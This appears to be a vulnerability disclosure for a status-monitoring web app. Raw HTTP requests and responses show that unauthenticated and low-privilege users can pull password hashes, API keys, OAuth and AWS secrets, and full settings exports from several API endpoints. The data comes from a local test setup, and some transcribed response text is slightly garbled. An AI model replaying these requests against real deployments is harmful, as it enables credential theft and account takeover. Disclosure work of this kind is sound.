

Sensitive File Exposure

It is possible to collect user information from the `/api/users` endpoint without a valid user in the application, since there is no authentication control:

The screenshot shows a REST client interface with a request and response for the `/api/users` endpoint. The request is a GET request with headers: `Host: 0.0.0.0:8080`, `User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0`, `Accept: application/json, text/plain, */*`, `Accept-Language: en-US,en;q=0.5`, `Accept-Encoding: gzip, deflate, br`, `Connection: close`, and `Referer: http://0.0.0.0:8080/dashboard/settings`. The response is a 200 OK status with headers: `Content-Type: application/json`, `Date: Sat, 20 Jan 2024 02:40:37 GMT`, `Content-Length: 964`, and `Connection: close`. The response body is a JSON array of three user objects.

```
Request
Pretty Raw Hex
1 GET /api/users HTTP/1.1
2 Host: 0.0.0.0:8080
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: application/json, text/plain, */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: close
8 Referer: http://0.0.0.0:8080/dashboard/settings
9
10

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Content-Type: application/json
3 Date: Sat, 20 Jan 2024 02:40:37 GMT
4 Content-Length: 964
5 Connection: close
6
7 [
8   {
9     "admin":true,
10    "api_key":"4d97d8d50fc1ba42b40fdb2f35343a1eda2deca0ca4f5659a3836280ed83f183",
11    "created_at":"2024-01-20T02:32:34.5464903Z",
12    "email":"admin@test.com",
13    "id":1,
14    "password":"$2a$14$Qlma04EJPCSzKs0HsN1ktwebPYcgWmNzeE6JMt./7nv02C1HUvlg2.",
15    "scopes":"admin",
16    "token":"",
17    "updated_at":"2024-01-20T02:35:03.189678196Z",
18    "username":"admin"},
19   {
20     "admin":false,
21     "api_key":"43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192",
22     "created_at":"2024-01-20T02:35:26.209608879Z",
23     "email":"newuser@test.com",
24     "id":2,
25     "password":"$2a$14$PTokRtbX/RJaKL.JQRI/G.4ppuPhKFw4dh2D1DYNN8lZz7877FJtC",
26     "token":"",
27     "updated_at":"2024-01-20T02:35:26.209608879Z",
28     "username":"NewUser"},
29   {
30     "admin":true,
31     "api_key":"179921c10e92b3f6144672ed1fef1447e02bffe80f3616194ef91d33915c455",
32     "created_at":"2024-01-20T02:40:29.887860147Z",
33     "email":"hacker@test.com",
34     "id":3,
35     "password":"$2a$14$LU82gBmee8.RBTKEX9v0o.Tf6PcFGbb3zYfWyhYKkCVcyN3atuifu",
36     "token":"",
37     "updated_at":"2024-01-20T02:40:29.887860147Z",
38     "username":"hacker"}
39 ]
40
```

```
[
{"admin":true,"api_key":"4d97d8d50fc1ba42b40fdb2f35343a1eda2deca0ca4f5659a3836280ed83f183","created_at":"2024-01-20T02:32:34.5464903Z","email":"admin@test.com","id":1,"password":"$2a$14$Qlma04EJPCSzKs0HsN1ktwebPYcgWmNzeE6JMt./7nv02C1HUvlg2.","scopes":"admin","token":"","updated_at":"2024-01-20T02:35:03.189678196Z","username":"admin"},

{"admin":false,"api_key":"43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192","created_at":"2024-01-20T02:35:26.209608879Z","email":"newuser@test.com","id":2,"password":"$2a$14$PTokRtbX/RJaKL.JQRI/G.4ppuPhKFw4dh2D1DYNN8lZz7877FJtC","token":"","updated_at":"2024-01-20T02:35:26.209608879Z","username":"NewUser"},

{"admin":true,"api_key":"179921c10e92b3f6144672ed1fef1447e02bffe80f3616194ef91d33915c455","created_at":"2024-01-20T02:40:29.887860147Z","email":"hacker@test.com","id":3,"password":"$2a$14$LU82gBmee8.RBTKEX9v0o.Tf6PcFGbb3zYfWyhYKkCVcyN3atuifu","token":"","updated_at":"2024-01-20T02:40:29.887860147Z","username":"hacker"}]
```

Using the API token of the user `NewUser`, it is possible to access sensitive information of the application. In other words, there is no authorization control to access sensitive information:

Request			Response			
Pretty	Raw	Hex	Pretty	Raw	Hex	Render
<pre> 1 GET /api/users HTTP/1.1 2 Host: 0.0.0.0:8080 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: application/json, text/plain, */* 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Connection: close 8 Referer: http://0.0.0.0:8080/dashboard/settings 9 10 </pre>			<pre> 1 HTTP/1.1 200 OK 2 Content-Type: application/json 3 Date: Sat, 20 Jan 2024 02:40:37 GMT 4 Content-Length: 984 5 Connection: close 6 7 [8 { 9 "admin":true, 10 "api_key":"4d97d8d50fc1ba42b40fdb2f35343a1eda2deca0ca4f5659a3836280ed83f183", 11 "created_at":"2024-01-20T02:32:34.5464903Z", 12 "email":"admin@test.com", 13 "id":1, 14 "password":"\$2a\$14\$Qln04EJPCSZkSOHnNlktwebPycgWnNzeE6JMt../7nv02CLHuVlG2.", 15 "scopes":"admin", 16 "token":"", 17 "updated_at":"2024-01-20T02:35:03.189678196Z", 18 "username":"admin" 19 }, 20 { 21 "admin":false, 22 "api_key":"43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192", 23 "created_at":"2024-01-20T02:35:26.209608879Z", 24 "email":"newuser@test.com", 25 "id":2, 26 "password":"\$2a\$14\$PTokRtbX/RJaKL.JQRI/G.4ppuPhKFW4dh2D1DYNNLZz7877FJtc", 27 "token":"", 28 "updated_at":"2024-01-20T02:35:26.209608879Z", 29 "username":"NewUser" 30 }, 31 { 32 "admin":true, 33 "api_key":"179921c10e92b3f6144672ed1fef1447e02bffe80f3616194ef91d33915c455", 34 "created_at":"2024-01-20T02:40:29.887860147Z", 35 "email":"hacker@test.com", 36 "id":3, 37 "password":"\$2a\$14\$LU82gBnee8.RBTKEX9vOo.Tf6pCFGbb3zyfWYhYKkCVcyN3atuiFu", 38 "token":"", 39 "updated_at":"2024-01-20T02:40:29.887860147Z", 40 "username":"hacker" 41 } 42] </pre>			

- Endpoint `/api/oauth` with NewUser api token

43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192 :

Request			Response			
P	Raw	Hex	Pretty	Raw	Hex	Render
<pre> 1 GET /api/oauth?api=43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192 HTTP/1.1 2 Host: 0.0.0.0:8080 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: application/json, text/plain, */* 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Connection: close 8 Referer: http://0.0.0.0:8080/dashboard/settings 9 10 </pre>			<pre> 1 HTTP/1.1 200 OK 2 Content-Type: application/json 3 Date: Sat, 20 Jan 2024 02:37:35 GMT 4 Content-Length: 507 5 Connection: close 6 7 { 8 "custom_client_id":""," 9 "custom_client_secret":""," 10 "custom_endpoint_auth":""," 11 "custom_endpoint_token":""," 12 "custom_name":""," 13 "custom_open_id":false, 14 "custom_scopes":""," 15 "gh_client_id":"MyGitSecretToken1", 16 "gh_client_secret":"MyGitSecretToken2", 17 "gh_orgs":""," 18 "gh_users":""," 19 "google_client_id":"MyGoogleSecretToken1", 20 "google_client_secret":"MyGoogleSecretToken2", 21 "google_users":""," 22 "oauth_providers":""," 23 "slack_client_id":"MySlackSecretToken1", 24 "slack_client_secret":"MySlackSecretToken2", 25 "slack_team":""," 26 "slack_users":"" 27 } </pre>			

- Endpoint `/api/notifier/amazon_sns` with NewUser api token

43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192 :

Request			Response			
Pretty	Raw	Hex	Pretty	Raw	Hex	Render
<pre> 1 GET /api/notifier/amazon_sns?api=43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192 HTTP/1.1 2 Host: 0.0.0.0:8080 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: application/json, text/plain, */* 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Content-Type: application/json;charset=utf-8 8 Content-Length: 0 9 Origin: http://0.0.0.0:8080 10 Connection: close 11 Referer: http://0.0.0.0:8080/dashboard/settings 12 13 </pre>			<pre> 1 HTTP/1.1 200 OK 2 Content-Type: application/json 3 Date: Sat, 20 Jan 2024 02:38:14 GMT 4 Content-Length: 1419 5 Connection: close 6 7 { "id":13, "method":"amazon_sns", "host":"", "port":null, "username":"", "password":"", "var1":"", "var2":"", "api_key":"MyAmazonSecretToken1", "api_secret":"MyAmazonSecretToken1", "enabled":false, "limits":60, "removable":false, "success_data":{"(.Service.Name)} is back online and was down for {(Service.Downtime.Human)}", "failure_data":{"(.Service.Name)} is offline and has been down for {(Service.Downtime.Human)}", "data_type":"html", "created_at":"2024-01-20T02:34:50.77722995Z", "updated_at":"2024-01-20T02:34:50.77722995Z", "title":"Amazon SNS", "description": "Use amazonSNS to receive push notifications. Add your amazonSNS URL and App Token to receive notifications." , "author":"Hunter Long", "author_url":"https://github.com/hunterlong", "icon":"fab fa-amazon", "delay":"5000000000", "form":[{ "type":"text", "title":"AWS Access Token", "placeholder":"AKPMEDSXUXSEU905ABW", "field":"api_key", "small_text":"", "required":true, "hidden":false }, { "type":"text", "title":"AWS Secret Key", "placeholder":"3SeAZ00xEosHRqZLx173t1X9sCtJV0EBzrELRE9B", "field":"api_secret", "small_text":"", "required":true, "hidden":false }, { "type":"text", "title":"Region", "small_text":"", "required":true, "hidden":false }] } </pre>			

- Endpoint `/api/settings/export` (Contains all the application settings) with NewUser api token `43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192`:

Request			Response			
Pretty	Raw	Hex	Pretty	Raw	Hex	Render
<pre> 1 GET /api/settings/export?api=43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192 HTTP/1.1 2 Host: 0.0.0.0:8080 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Connection: close 8 Referer: http://0.0.0.0:8080/dashboard/settings 9 Content-Length: 2 10 11 12 </pre>			<pre> 1 HTTP/1.1 200 OK 2 Content-Disposition: attachment; filename=statping.json 3 Content-Length: 30566 4 Content-Type: application/json 5 Date: Sat, 20 Jan 2024 02:38:53 GMT 6 Connection: close 7 8 { "core":{ "name":"Work Server", "description":"Pec", "api_secret":"6N4owN2PxoAgh1ft", "footer":"", "domain":"http://0.0.0.0:8080", "version":"0.91.0", "commit":"", "language":"en", "setup":true, "using_cdn":false, "allow_reports":true, "created_at":"2024-01-20T02:34:51.286617422Z", "updated_at":"2024-01-20T02:34:51.28675954Z", "started_on":"2024-01-20T02:34:51.28661731Z" }, "services":[{ "id":1, "name":"Google", "domain":"https://google.com", "expected":true, "expected_status":200, "check_interval":10, "type":"http", "method":"GET", "post_data":"", "port":0, "timeout":10, "order_id":1, "verify_ssl":true, "grpc_health_check":false, "public":true, "group_id":1, "tls_cert":"", "tls_cert_key":"", "tls_cert_root":"", "headers":"", "permalink":"google", "redirect":true, "created_at":"2023-10-22T02:32:35.08995659Z", "updated_at":"2024-01-20T02:32:35.090049941Z", "online":true, "latency":466598, "ping_time":20393, "online_24_hours":86.94, "online_7_days":95.35, }] } </pre>			